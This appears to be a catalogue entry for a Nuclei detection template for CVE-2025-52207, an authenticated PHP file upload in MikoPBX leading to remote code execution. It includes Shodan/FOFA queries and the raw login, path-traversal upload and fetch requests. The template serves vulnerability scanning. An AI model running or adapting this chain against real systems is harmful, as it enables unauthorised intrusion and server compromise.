CVE-2025-52207: MikoPBX - Unrestricted File Upload
- Template: CVE-2025-52207
- Name: MikoPBX - Unrestricted File Upload
- Description: MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.
- Impact: Authenticated attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise.
- Remediation: Update to the latest version beyond 2024.1.114.
- Severity: critical
- Authors: darses
- Tags: cve, cve2025, miko, mikopbx, intrusive, authenticated, file-upload, vuln, vkev
- References: https://github.com/mikopbx/Core/commit/3ee785429d3f1b33c9ab387ef4221127c9b8c5f3
- Cves: CVE-2025-52207
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-52207.yaml
- Digest: 490a00463044022051a5fee8eece6d323eaaac4c0f343a17b19067b59290b0a43585501d7d96a5e502205b3c9e0e329052e09ad0a573f9f004e32209852b0c7fc8303409993b2d341af2
- Created at: 2025-09-18T18:04:18Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 432
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-52207.yaml
- Checked, none or zero: verified
- Not known: max requests
Classification
- Cwe: CWE-23
- Cvss score: 9.9
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
- Epss score: 0.01645
- Epss percentile: 0.77087
- Not known: cpe
Metadata
- Fofa-query: icon_hash="8309143", title="MikoPBX"
- Product: mikopbx
- Shodan-query: product:"mikopbx", http.favicon.hash:8309143, title:"MikoPBX"
- Vendor: miko
Products
| Product | Indexed | Url |
|---|---|---|
| miko:mikopbx | no | — |
Labels
- Name: MikoPBX - Unrestricted File Upload
- Impact: Attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise.
- Remediation: Update to the latest version beyond 2024.1.114.
- Vulnerability type: unrestricted_file_upload
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-52207
- Not known: requirements
```yaml
id: CVE-2025-52207
info:
name: MikoPBX - Unrestricted File Upload
author: darses
severity: critical
description: |
MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.
impact: |
Authenticated attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise.
remediation: |
Update to the latest version beyond 2024.1.114.
reference:
- https://github.com/mikopbx/Core/commit/3ee785429d3f1b33c9ab387ef4221127c9b8c5f3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
cvss-score: 9.9
cve-id: CVE-2025-52207
cwe-id: CWE-23
epss-score: 0.01645
epss-percentile: 0.77087
metadata:
vendor: miko
product: mikopbx
shodan-query:
- product:"mikopbx"
- http.favicon.hash:8309143
- title:"MikoPBX"
fofa-query:
- icon_hash="8309143"
- title="MikoPBX"
tags: cve,cve2025,miko,mikopbx,intrusive,authenticated,file-upload,vuln,vkev
variables:
filename: "{{to_lower(rand_base(8))}}"
filecontent: "<?php echo(base64_encode(\"{{filename}}\")); ?>"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /admin-cabinet/session/start HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
WebAdminLanguage=en&login={{username}}&password={{password}}&rememberMeCheckBox=false&backUri=%2F
matchers:
- type: dsl
dsl:
- contains_all(body, 'BreadcrumbSessionstart')
- contains(content_type, 'text/html')
- status_code == 200
condition: and
internal: true
- raw:
- |
POST /pbxcore/api/files/uploadFile HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------{{filename}}
Accept-Encoding: gzip
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableFilename"
{{filename}}.php
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableIdentifier"
../files_cache/{{filename}}
-----------------------------{{filename}}
Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
Content-Type: application/octet-stream
{{filecontent}}
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableChunkNumber"
1
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableTotalChunks"
1
-----------------------------{{filename}}
Content-Disposition: form-data; name="resumableTotalSize"
{{len(filecontent)}}
-----------------------------{{filename}}--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "{\"jsonapi\":{\"version\":\"1.0\"},\"result\":true,\"data\":")'
condition: and
internal: true
extractors:
- type: json
name: upload_path
json:
- .data.filename
internal: true
- type: dsl
name: extracted_path
dsl:
- replace_regex(upload_path, "(.*\/files_cache)\/", "")
internal: true
- method: GET
path:
- "{{BaseURL}}/pbxcore/files/cache/{{extracted_path}}?{{wait_for(3)}}"
matchers:
- type: dsl
dsl:
- body==base64(filename)
- status_code==200
condition: and
digest: 490a00463044022051a5fee8eece6d323eaaac4c0f343a17b19067b59290b0a43585501d7d96a5e502205b3c9e0e329052e09ad0a573f9f004e32209852b0c7fc8303409993b2d341af2:922c64590222798bb761d5b6d8e72950
```